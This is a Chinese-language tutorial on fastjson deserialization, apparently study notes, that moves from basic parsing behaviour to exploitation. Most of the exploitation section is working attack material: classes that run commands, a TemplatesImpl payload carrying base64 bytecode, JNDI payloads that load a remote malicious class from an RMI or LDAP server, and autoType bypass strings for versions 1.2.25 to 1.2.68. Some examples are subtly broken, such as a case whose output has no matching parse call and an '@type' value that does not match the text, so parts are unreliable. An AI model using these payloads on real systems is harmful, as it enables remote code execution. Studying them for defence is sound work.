从零开始学习fastjson反序列化
一、什么是fastjson?
fastjson
是一个Java语言编写的高性能功能完善的JSON
库。它采用一种"假定有序快速匹配"的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
二、fastjson使用简介
用来实现Java对象与JSON字符串的相互转换,比如:
User user = new User();
user.setUserName("Le1a");
user.setAge(20);
user.setSex("男");
String userJson = JSON.toJSONString(user);
输出结果:
{"age":20,"sex":"男","userName":"Le1a"}
以上将对象转换为JSON字符串的操作成为序列化,将JSON字符串实例化为Java对象的操作成为反序列化。
三、fastjson反序列化机制
Case1:
User类
public class User{
private int age;
private String userName;
private String sex;
public User() {
System.out.println("User construct");
}
public String getUserName() {
System.out.println("getUserName");
return userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public String getSex() {
System.out.println("getSex");
return sex;
}
public void setUserName(String userName) {
System.out.println("setUserName:" + userName);
this.userName = userName;
}
public void setAge(int age) {
System.out.println("setAge:" + age);
this.age = age;
}
public void setSex(String sex) {
System.out.println("setSex:" + sex);
this.sex = sex;
}
}
执行反序列化:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
}
}
执行结果:
User construct
setAge:20
setSex:男
setUserName:Le1a
这个执行结果说明了: fastjson在反序列化的时候会调用这个类的setter方法。那如果没有setter方法,还能正确赋值吗?
所以接下来看第二种机制。
Case2:
User类
public class User{
public int age;
public String userName;
public String sex;
public User() {
System.out.println("User construct");
}
public String getUserName() {
System.out.println("getUserName");
return userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public String getSex() {
System.out.println("getSex");
return sex;
}
}
执行反序列化:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr, User.class);
System.out.println("age:" + user.age);
System.out.println("setSex:" + user.sex);
System.out.println("userName:" + user.userName);
}
}
执行结果:
User construct
age:20
setSex:男
userName:Le1a
发现没有setter方法的时候,fastjson也会对Field正确赋值,但是前提条件是Field必须为public属性。如果不是public属性也没有setter方法呢?接着来看另一种方法!
Case3:
将Field 属性改为私有,不提供setter
User类
public class User{
private int age;
private String userName;
private String sex;
public User() {
System.out.println("User construct");
}
public String getUserName() {
return userName;
}
public int getAge() {
return age;
}
public String getSex() {
return sex;
}
}
执行反序列化:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr, User.class);
System.out.println("age:" + user.getAge());
System.out.println("setSex:" + user.getSex());
System.out.println("userName:" + user.getUserName());
}
}
输出结果为:
User construct
age:0
setSex:null
userName:null
发现并没有对Field进行赋值,打印出来的都是Field的默认初始值。以上说明对于不可见Field且未提供setter方法,fastjson默认不会赋值。
将反序列化代码修改为如下:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr, User.class,Feature.SupportNonPublicField);
System.out.println("age:" + user.getAge());
System.out.println("setSex:" + user.getSex());
System.out.println("userName:" + user.getUserName());
}
}
输出结果为:
User construct
age:20
setSex:男
userName:Le1a
可见: 对于未提供setter的私有Field,fastjson在反序列化时需要显式提供参数Feature.SupportNonPublicField
才会正确赋值。
四、漏洞原理
fastjson支持使用@type
来指定反序列化的目标类,如下演示:
User类
public class User{
private int age;
private String userName;
private String sex;
public User() {
System.out.println("User construct");
}
public String getUserName() {
System.out.println("getUserName");
return userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public String getSex() {
System.out.println("getSex");
return sex;
}
public void setUserName(String userName) {
System.out.println("setUserName:" + userName);
this.userName = userName;
}
public void setAge(int age) {
System.out.println("setAge:" + age);
this.age = age;
}
public void setSex(String sex) {
System.out.println("setSex:" + sex);
this.sex = sex;
}
}
执行反序列化
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
public class Ser2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"@type\":\"Evil\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
Object user = JSON.parseObject(jsonstr);
}
}
执行结果为:
User construct
setAge:20
setSex:男
setUserName:Le1a
getAge
getSex
getUserName
JSON字符串@type
的值为User,也就指定了要将此JSON字符串实例化为User对象,在此过程中fastjson不仅调用了setter也调用了getter。
假设这个@type
指向一个恶意类,那是不是就能触发恶意代码呢?
我们来写一个Evil
类
public class Evil {
static {
System.err.println("Hacker!!!");
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
成功执行了恶意命令,实际应用中肯定很难找到像Evil这种代码,攻击者要想办法通过现有的让JVM加载构造的恶意类,就得来构造Gadget。
五、漏洞利用
1.TemplatesImpl
利用fastjson反序列化后会调用属性的getter,可以使用之前学习的TemplatesImpl。
恶意类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.plugin.com.JavaClass;
import java.lang.reflect.Method;
public class Shell extends AbstractTranslet {
public Shell() throws Exception{
Class runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Method getruntime = runtime.getMethod("getRuntime");
Object r = getruntime.invoke(runtime);
exec.invoke(r,"calc");
System.out.println("Hacker!!!");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
EXP
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.Base64;
public class TemplatesImpl {
public static void main(String[] args) throws Exception {
ParserConfig config = new ParserConfig();
String base64Evil = fileToBase64("D:\\Cc\\IntelliJ IDEA 2021.1\\Fastjson\\target\\classes\\Shell.class");
//System.out.println(base64Evil);
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAUAoAEAAvCAAwCgAFADEIABoHADIHADMKAAUANAgANQcANgoANwA4CAA5CQA6ADsIADwKAD0APgcAPwcAQAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTFNoZWxsOwEAB3J1bnRpbWUBABFMamF2YS9sYW5nL0NsYXNzOwEABGV4ZWMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACmdldHJ1bnRpbWUBAAFyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKRXhjZXB0aW9ucwcAQQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAEIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIBABFqYXZhLmxhbmcuUnVudGltZQwAQwBEAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwARQBGAQAKZ2V0UnVudGltZQEAEGphdmEvbGFuZy9PYmplY3QHAEcMAEgASQEABGNhbGMHAEoMAEsATAEAD0hhY2tlcu+8ge+8ge+8gQcATQwATgBPAQAFU2hlbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAA8AEAAAAAAAAwABABEAEgACABMAAAC3AAYABQAAAEkqtwABEgK4AANMKxIEBL0ABVkDEgZTtgAHTSsSCAO9AAW2AAdOLSsDvQAJtgAKOgQsGQQEvQAJWQMSC1O2AApXsgAMEg22AA6xAAAAAgAUAAAAIgAIAAAACwAEAAwACgANABoADgAlAA8AMAAQAEAAEQBIABIAFQAAADQABQAAAEkAFgAXAAAACgA/ABgAGQABABoALwAaABsAAgAlACQAHAAbAAMAMAAZAB0AHgAEAB8AAAAEAAEAIAABACEAIgACABMAAAA/AAAAAwAAAAGxAAAAAgAUAAAABgABAAAAFgAVAAAAIAADAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACUAJgACAB8AAAAEAAEAJwABACEAKAACABMAAABJAAAABAAAAAGxAAAAAgAUAAAABgABAAAAGwAVAAAAKgAEAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACkAKgACAAAAAQArACwAAwAfAAAABAABACcAAQAtAAAAAgAu\"],\"_name\" : \"a\",\"_tfactory\" : {},\"outputProperties\" : {}}";
System.out.println(payload);
}
public static String fileToBase64(String path) throws Exception{
String base64Result=null;
InputStream inputStream = null;
File file = new File(path);
inputStream = new FileInputStream(file);
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes,0,inputStream.available());
base64Result = new String(Base64.getEncoder().encode(bytes));
return base64Result;
}
}
成功执行命令。_bytecodes
是私有属性,_name
也是私有域,所以在parseObject
的时候需要设置Feature.SupportNonPublicField
,这样_bytecodes字段才会被反序列化。
2.JNDI注入
2.1RMI
反序列化Gadget主流都是使用JNDI,现阶段都是在利用根据JNDI特征自动化挖掘Gadget。
com.sun.rowset.JdbcRowSetImpl
这个类有两个set方法,分别是setDataSourceName()
与setAutoCommit()
,我们看一下相关实现:
setDatasourceName
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
这里的setDataSourceName就是设置了dataSourceName,然后在setAutoCommit中进行了connect操作,我们跟进看一下
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到这里connect方法中有典型的jndi
的lookup
方法调用,且参数就是我们在setDataSourceName
中设置的dataSourceName
,来构造一下payload,dataSourceName的值为我们恶意的rmi对象
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}
工具启动RMI服务
这里有一款工具: https://github.com/RandomRobbieBF/marshalsec-jar
先将恶意Evil类部署到http服务上,可以直接使用python -m http.server
。我这里就直接部署到公网上了,然后使用如下命令快速搭建一个rmi服务器,并把恶意的远程对象注册到上面
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:端口/#Evil
这样rmi服务就快速搭起来了,运行一下,成功弹出计算器
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
public class SerJndi {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://IP:1099/Evil\", \"autoCommit\":true}}";
JSON.parseObject(jsonstr,Feature.SupportNonPublicField);
}
}
手动启动RMI服务
同样先将恶意Evil类部署到http服务上,直接使用python -m http.server 8000
,然后创建JNDIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit","Evil","http://127.0.0.1:8000/");
//第一个参数是
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()
获取绑定对象的引用,并在目录中保存,当客户端使用lookup
获取对应名字时,会返回ReferenceWrapper
类的代理文件,然后会调用getReference()
获取Reference
类,最终通过factory
类将Reference
转换为具体的对象实例。
这里为了防止本地触发恶意代码,就选择了通过References
类绑定远程对象。第一个参数是开启rmi服务后的恶意类名,第二个参数是恶意类本体,第三个参数是远程对象的URL。
服务端JNDIClient
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
2.2LADP
六、Fastjson各版本绕过
1.2.24
Fastjson 1.2.25之前版本,只是通过黑名单限制哪些类不能通过@type
指定。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
和com.sun.rowset.JdbcRowSetImpl
都不在黑名单中,可以直接完成攻击,代码参考上文。
1.2.25
1.2.25版本修复了这个漏洞,添加了配置项setAutoTypeSupport
,并且使用了checkAutoType
函数定义黑白名单的方式来防御反序列化漏洞。
当 autoTypeSupport 为 False
时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。
com.alibaba.fastjson.parser.ParserConfig
类中有一个String[]
类型的denyList数组,denyList中定义了反序列化的黑名单的类包名,1.2.25-1.2.41版本中会对以下包名进行过滤
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.apache.xalan
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//类名是否为空
if (typeName == null) {
return null;
//类全路径是否超过128字符
} else if (typeName.length() >= 128) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
int mask;
String accept;
//如果支持AutoType功能会进入这个if判断
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
//是否不支持AutoType功能
if (!this.autoTypeSupport) {
//先匹配黑名单
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
//进行黑名单过滤,抛出异常
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//再从白名单找
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//省略部分代码......
}
}
当autoTypeSupport 为 False 时,先黑名单过滤,然后再匹配白名单,如果白名单没匹配到则报错,所以必须配置有白名单,才能进行loadClass
操作。
当 autoTypeSupport 为 True 时,首先进行白名单过滤,如果在白名单上则直接loadClass
,否则进行黑名单过滤。
这里判断如果className
是以L
开头,并以;
结尾,那么去除开头的L
以及末尾的;
,得到 newClassName 然后 loadClass,这样就绕过了CheckAutoType 的检查。
所以当开启ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
时我们可以在@type
处对指定类名进行改造,在JdbcRowSetImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;
分号,就可以绕过了。
1.2.42
1.2.42版本将黑名单denyList替换成了denyHashCodes,fastjson使用哈希黑名单来代替之前的明文黑名单来防止被绕过,增加了绕过的困难程度。checkAutoType
函数会从className
中将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类提取出来,然后把前后的字符L
和;
都去掉,然后再进行哈希黑名单过滤。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
//计算className的哈希值
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;
for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
//进行白名单过滤
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//进行哈希黑名单过滤,如果匹配到则抛出异常
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//省略部分代码......
} else {
throw new JSONException("autoType is not support. " + typeName);
}
}
但是只提取了一次,所以我们可以通过双写绕过。
LLcom.sun.rowset.JdbcRowSetImpl;;
1.2.43
1.2.43版本对1.2.42版本的绕过进行了修复,首先判断了className中的类是否以字符“L”开头,以字符“;”结尾,如果满足条件,继续判断是否以字符“LL”开头,如果满足条件则抛出异常。
Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
因为1.2.42版本的payload已无法利用,因此我们需要另寻突破口,在TypeUtils类的loadClass
方法中会对className
进行校验
这里className
以[
开头,然后通过substring
去掉[
,然后进行loadClass
那么可以对payload进行改造,在类前面加一个“[”字符,这样就可以绕过checkAutoType函数的过滤,如下所示:
[com.sun.rowset.JdbcRowSetImpl
再次运行程序还是会报错,根据抛出的异常来看,是在调用DefaultJSONParser类的parseArray方法时抛出的异常
打上断点调试,发现会判断token的值,如果不为14,则会抛出异常。
这里调试可以发现我们的token是16,那么token是由什么决定的呢?在[
的if
处下个断点调试(有个坑点就是刚开始调试传入的className并不是我们的JDBC
,而是java.lang.AutoCloseable
,所以光标点到if
判断里面,然后强行进入if
语句里面)
此时传入的类是[com.sun.rowset.JdbcRowSetImpl
。来看一下nextToken()
方法
public final void nextToken() {
this.sp = 0;
while(true) {
while(true) {
this.pos = this.bp;
if (this.ch != '/') {
if (this.ch == '"') {
this.scanString();
return;
}
if (this.ch == ',') {
this.next();
this.token = 16;
return;
}
if (this.ch >= '0' && this.ch <= '9') {
this.scanNumber();
return;
}
if (this.ch == '-') {
this.scanNumber();
return;
}
switch(this.ch) {
case '\b':
case '\t':
case '\n':
case '\f':
case '\r':
case ' ':
this.next();
break;
case '\'':
if (!this.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("Feature.AllowSingleQuotes is false");
}
this.scanStringSingleQuote();
return;
case '(':
this.next();
this.token = 10;
return;
case ')':
this.next();
this.token = 11;
return;
case '+':
this.next();
this.scanNumber();
return;
case '.':
this.next();
this.token = 25;
return;
case ':':
this.next();
this.token = 17;
return;
case ';':
this.next();
this.token = 24;
return;
case 'N':
case 'S':
case 'T':
case 'u':
this.scanIdent();
return;
case '[':
this.next();
this.token = 14;
return;
case ']':
this.next();
this.token = 15;
return;
case 'f':
this.scanFalse();
return;
case 'n':
this.scanNullOrNew();
return;
case 't':
this.scanTrue();
return;
case 'x':
this.scanHex();
return;
case '{':
this.next();
this.token = 12;
return;
case '}':
this.next();
this.token = 13;
return;
nextToken
方法会判断ch的值,然后根据ch的值设置token,在调试分析中ch的值是json数据中第一个逗号出现的位置(固定从这个位置取值),我们需要把token的值设置为14来绕过DefaultJSONParser
类的parseArray
方法。所以在第一个逗号出现的位置前面加[
此时的token就为14了,尝试打一下,发现有了新的异常。
说是在43索引(第一个逗号)的位置还缺一个{
,把{
加上即可成功绕过
payload:
"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}"
1.2.45
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:1389/Evil"
}
}
1.2.47
Fastjson从1.2.25开始,添加了配置项setAutoTypeSupport
以及白名单,进一步限制@type的使用,默认该配置项关闭。如果配置项是关闭状态,那么只允许白名单内的类才能通过@type指定。
此时com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetIm都已经在黑名单中了,
但是存在绕过方式,不需要setAutoTypeSupport为true。如果先传入如下JSON进行反序列化:
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
java.lang.Class是在白名单中的,反序列化后com.sun.rowset.JdbcRowSetImpl
就会被加入到白名单中,剩下的就和1.2.24相同了,直接把两部分整合到一起:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Exploit",
"autoCommit": true
}
}
成功绕过!
原理分析: https://blog.csdn.net/qq_34101364/article/details/111706189
之后来学!!!
1.2.68
1.2.68这个版本加入了新的安全控制点safeMode
,如果应用程序开启safeMode
,将在checkAutoType()
中直接抛出异常,完全禁止了autoType
。
但是这个版本爆出了可以通过expectClass
绕过 checkAutoType()
- isAssignableFrom的作用
有两个Class类型,一个是调用isAssignableFrom方法的类对象(也就是这里的expectClass),以及方法中作为参数的这个类对象(传入的类),这两个对象如果满足以下条件则返回true,否则返回false:
expectClass
是clazz
对象的父类或者是父接口expectClass
和clazz是同一个类或者同一个接口
在checkAutoType()
函数中,如果传入了expectClass
,且传入的类的名字如果是HashMap
或者是expectClass
的子类或者实现就可以通过checkAutoType()
的安全检测。
现在看看哪些地方使用传入了expectClass
这个参数
发现主要是2个地方会使用到
-
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze
-
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
先构造反序列化,也就是说如果我们@type的值对应的类构造的反序列化器是JavaBeanDeserializer或者ThrowableDeserializer,就会触发deserialze,同时有希望触发带有expectClass
参数的checkAutoType达到我们的目的
总结成一句话就是:寻找怎么才能调用到带有expectClass参数的checkAutoType方法
如果clazz是Throwable的子类,那么就返回ThrowableDeserializer,如果所有条件都不满足,那么就会调用createJavaBeanDeserializer
去新建JavaBeanDeserializer
ThrowableDeserializer
要使用到com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer
这个反序列化器,根据上面的分析,那么我们@type
传入的就应该是Throwable的子类或者本身。也就是说,我们的第二个@type
对应的类必须是期望类java.lang.Throwable
的子类
这里第一个@type
传入Throwable
或者它的子类就可以使用ThrowableDeserializer
,但是由于java.lang.Throwable
不在白名单中,所以需要手动开启autoTypeSupport
- 也就是说,第一个
@type
参数是Throwable
或者它的子类,那么第二个@type
如果也是Throwable
或者它的子类,那么就可以绕过checkAutoType()
,从而实例化第二个@type
指向的类
例如,我们本地编写一个ThrowableEvil
,继承Throwable
,然后静态代码块写入恶意代码,那么这里即可触发命令执行
import java.lang.reflect.Method;
public class ThrowableEvil extends Throwable{
static {
try {
Class runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Method getRuntime = runtime.getMethod("getRuntime");
Object r = getRuntime.invoke(runtime);
exec.invoke(r, "calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
这样就能成功利用了,但是实际上根本不存在这样的类去让我们创建,利用条件:
- 限定了可以利用的类必须是Throwable的子类,不过异常类很少使用高危函数。
- 需要开启ATS,更鸡肋了,随便找个不在黑名单的类都可以利用了
所以说很难利用。
JavaBeanDeserializer
在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,就会返回JavaBeanDeserializer
创建一个接口Test,并且写一个Test1实现这个接口,这个跟刚才那个差不多,也是第二个@type为第一个的实现,就能实例化第二个类
这个类跟刚才那个不同的是,这个应用更广泛,只需要找一个接口,然后找一个实现了这个接口的类,类中有可以利用的点即可;最好是可以绕过autoTypeSupport。找到了java.lang.AutoCloseable这个接口,这个接口位于默认的mapping中,有很多子类,不开启autoTypeSupport也可以用。
本地编写一个恶意类,实现java.lang.AutoCloseable
接口
AutoCloseableEvil
import java.lang.reflect.Method;
public class AutoCloseableEvil implements AutoCloseable{
static {
try {
Class runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Method getRuntime = runtime.getMethod("getRuntime");
Object r = getRuntime.invoke(runtime);
exec.invoke(r, "calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
